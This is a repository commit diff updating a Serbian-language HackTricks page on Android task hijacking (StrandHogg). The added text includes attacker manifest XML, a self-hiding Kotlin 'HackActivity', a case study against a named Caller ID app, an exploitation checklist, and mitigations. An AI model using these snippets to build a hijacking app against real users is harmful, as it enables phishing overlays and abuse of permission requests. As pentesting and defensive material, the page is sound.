mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h
This commit is contained in:
		
							parent
							
								
									d49610558a
								
							
						
					
					
						commit
						6f04c897f8
					
				@ -11,43 +11,93 @@ Evo brzog pregleda prelaza između aktivnosti:
 | 
			
		||||
- **Activity 1** počinje kao jedina aktivnost u foreground-u.
 | 
			
		||||
- Pokretanje **Activity 2** pomera **Activity 1** u back stack, dovodeći **Activity 2** u foreground.
 | 
			
		||||
- Pokretanje **Activity 3** pomera **Activity 1** i **Activity 2** dalje nazad u stogu, pri čemu je **Activity 3** sada ispred.
 | 
			
		||||
- Zatvaranje **Activity 3** vraća **Activity 2** nazad u foreground, prikazujući Androidov pojednostavljeni mehanizam navigacije kroz zadatke.
 | 
			
		||||
- Zatvaranje **Activity 3** vraća **Activity 2** u foreground, prikazujući Androidov pojednostavljeni mehanizam navigacije kroz zadatke.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
## Task affinity attack
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### Overview of Task Affinity and Launch Modes
 | 
			
		||||
## Task affinity attacks
 | 
			
		||||
 | 
			
		||||
U Android aplikacijama, **task affinity** specificira preferirani task aktivnosti, obično usklađen sa imenom paketa aplikacije. Ova postavka je ključna za kreiranje aplikacije za dokazivanje koncepta (PoC) za demonstraciju napada.
 | 
			
		||||
`taskAffinity` govori Androidu kojoj grupi zadataka bi `Activity` *preferirala* da pripada. Kada dve aktivnosti dele istu afinitet, **Android može da ih spoji unutar istog back-stack-a čak i ako dolaze iz različitih APK-ova**.
 | 
			
		||||
 | 
			
		||||
### Launch Modes
 | 
			
		||||
Ako napadač može da postavi zlonamernu aktivnost na **root** tog stoga, svaki put kada žrtva otvori legitimnu aplikaciju, zlonameran UI će biti prva stvar koju korisnik vidi – savršeno za phishing ili zlostavljanje zahteva za dozvolama.
 | 
			
		||||
 | 
			
		||||
Atribut `launchMode` usmerava rukovanje instancama aktivnosti unutar zadataka. **singleTask** režim je ključan za ovaj napad, određujući tri scenarija na osnovu postojećih instanci aktivnosti i podudaranja task affinity. Eksploatacija se oslanja na sposobnost napadačeve aplikacije da imitira task affinity ciljne aplikacije, obmanjujući Android sistem da pokrene napadačevu aplikaciju umesto nameravane mete.
 | 
			
		||||
Površina napada je šira nego što mnogi programeri misle jer **svaka aktivnost automatski nasleđuje afinitet jednak imenu paketa aplikacije** (osim ako programer ne postavi `android:taskAffinity=""`). Stoga *ne preduzimanje ništa* već ostavlja aplikaciju otvorenom za hijacking zadataka na Android verzijama pre 11.
 | 
			
		||||
 | 
			
		||||
### Detailed Attack Steps
 | 
			
		||||
### Classic "singleTask / StrandHogg" scenario
 | 
			
		||||
 | 
			
		||||
1. **Instalacija zlonamerne aplikacije**: Žrtva instalira napadačevu aplikaciju na svom uređaju.
 | 
			
		||||
2. **Prva aktivacija**: Žrtva prvo otvara zlonamernu aplikaciju, pripremajući uređaj za napad.
 | 
			
		||||
3. **Pokušaj pokretanja ciljne aplikacije**: Žrtva pokušava da otvori ciljnu aplikaciju.
 | 
			
		||||
4. **Izvršenje otmice**: U nekom trenutku aplikacija pokušava da otvori **singleTask** prikaz. Zbog podudaranja task affinity, zlonamerna aplikacija se pokreće umesto ciljne aplikacije.
 | 
			
		||||
5. **Obmana**: Zlonamerna aplikacija prikazuje lažni ekran za prijavu koji podseća na ciljnu aplikaciju, obmanjujući korisnika da unese osetljive informacije.
 | 
			
		||||
1. Napadač deklarira aktivnost sa:
 | 
			
		||||
```xml
 | 
			
		||||
<activity android:name=".EvilActivity"
 | 
			
		||||
android:exported="true"
 | 
			
		||||
android:taskAffinity="com.victim.package"
 | 
			
		||||
android:launchMode="singleTask" >
 | 
			
		||||
<intent-filter>
 | 
			
		||||
<action android:name="android.intent.action.MAIN"/>
 | 
			
		||||
<category android:name="android.intent.category.LAUNCHER"/>
 | 
			
		||||
</intent-filter>
 | 
			
		||||
</activity>
 | 
			
		||||
```
 | 
			
		||||
2. Zlonamerna aplikacija se pokreće jednom kako bi zadatak (sa lažnim afinitetom) postojao u nedavnim zadacima.
 | 
			
		||||
3. Kada korisnik kasnije otvori pravu aplikaciju, Android pronalazi da već postoji zadatak čiji **root afinitet odgovara paketu** i jednostavno dovodi taj zadatak u foreground.
 | 
			
		||||
4. UI napadača se prikazuje prvi.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Imajte na umu da za ovaj napad da bi funkcionisao, ranjivi prikaz **ne mora imati exported na true** niti mora biti glavna aktivnost.
 | 
			
		||||
### Default–Affinity (no `singleTask`) variant  – Caller ID case study
 | 
			
		||||
 | 
			
		||||
Za praktičnu implementaciju ovog napada, pogledajte Task Hijacking Strandhogg repozitorijum na GitHub-u: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
 | 
			
		||||
Ranljivost prijavljena u aplikaciji **Caller ID (caller.id.phone.number.block)** pokazuje da napad *takođe* funkcioniše protiv podrazumevanog `standard` režima pokretanja:
 | 
			
		||||
 | 
			
		||||
### Prevention Measures
 | 
			
		||||
1. Aplikacija napadača kreira lažnu root aktivnost i odmah se skriva:
 | 
			
		||||
```kotlin
 | 
			
		||||
class HackActivity : AppCompatActivity() {
 | 
			
		||||
override fun onCreate(savedInstanceState: Bundle?) {
 | 
			
		||||
super.onCreate(savedInstanceState)
 | 
			
		||||
moveTaskToBack(true)   // keep the task in recents but out of sight
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
2. Manifest samo treba da kopira paket žrtve u `taskAffinity`:
 | 
			
		||||
```xml
 | 
			
		||||
<activity android:name=".HackActivity"
 | 
			
		||||
android:exported="true"
 | 
			
		||||
android:taskAffinity="com.caller.id.phone.number.block" >
 | 
			
		||||
<intent-filter>
 | 
			
		||||
<action android:name="android.intent.action.MAIN"/>
 | 
			
		||||
<category android:name="android.intent.category.LAUNCHER"/>
 | 
			
		||||
</intent-filter>
 | 
			
		||||
</activity>
 | 
			
		||||
```
 | 
			
		||||
3. Čim korisnik instalira i otvori zlonamernu aplikaciju **jednom**, zadatak čiji afinitet odgovara paketu žrtve postoji (ali se nalazi u pozadini).
 | 
			
		||||
4. Kada se prava Caller ID aplikacija pokrene, Android ponovo koristi taj zadatak i dovodi `HackActivity` u foreground → phishing prozor/zlostavljanje dozvola.
 | 
			
		||||
 | 
			
		||||
Da bi sprečili takve napade, programeri mogu:
 | 
			
		||||
- Postaviti **`**taskAffinity`** za **singleTask** prikaz na prazan string (`android:taskAffinity=""`)
 | 
			
		||||
- Odabrati **`singleInstance`** režim pokretanja, osiguravajući izolaciju svoje aplikacije od drugih.
 | 
			
		||||
- Prilagoditi funkciju **`onBackPressed()`** koja nudi dodatnu zaštitu protiv otmice zadataka.
 | 
			
		||||
> NOTE: Počevši od **Android 11 (API 30)**, sistem *ne* postavlja dva paketa koja nisu deo istog UID-a u isti zadatak po defaultu, ublažavajući ovu posebnu varijantu. Starije verzije ostaju ranjive.
 | 
			
		||||
 | 
			
		||||
## **References**
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
 | 
			
		||||
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
 | 
			
		||||
## Detection & Exploitation checklist
 | 
			
		||||
 | 
			
		||||
1. Izvucite `AndroidManifest.xml` iz ciljanog APK-a i proverite da svaka `<activity>` (ili globalni `<application>` element) sadrži `android:taskAffinity=""` (prazno) **ili** prilagođenu vrednost.
 | 
			
		||||
2. Ako ne, kreirajte zlonamernu aplikaciju:
 | 
			
		||||
- `android:taskAffinity` = ime paketa žrtve.
 | 
			
		||||
- Pružite `MAIN/LAUNCHER` intent kako bi korisnik mogao da je otvori jednom.
 | 
			
		||||
- Opcionalno pozovite `moveTaskToBack(true)` da se odmah sakrije.
 | 
			
		||||
3. Neka žrtva otvori svoju legitimnu aplikaciju → hijack.
 | 
			
		||||
 | 
			
		||||
## Mitigation
 | 
			
		||||
 | 
			
		||||
Programeri bi trebali:
 | 
			
		||||
 | 
			
		||||
* Eksplicitno postaviti `android:taskAffinity=""` na nivou `<application>` (preporučeno) **ili** dati svakoj aktivnosti jedinstven, privatni afinitet.
 | 
			
		||||
* Za veoma osetljive ekrane, kombinovati navedeno sa `android:launchMode="singleInstance"` ili modernim [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) zaštitama.
 | 
			
		||||
* Ažurirati `targetSdkVersion` aplikacije i primeniti **Android 11** promene u ponašanju gde se zadaci po defaultu ne dele između paketa.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
 | 
			
		||||
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
 | 
			
		||||
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
 | 
			
		||||
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user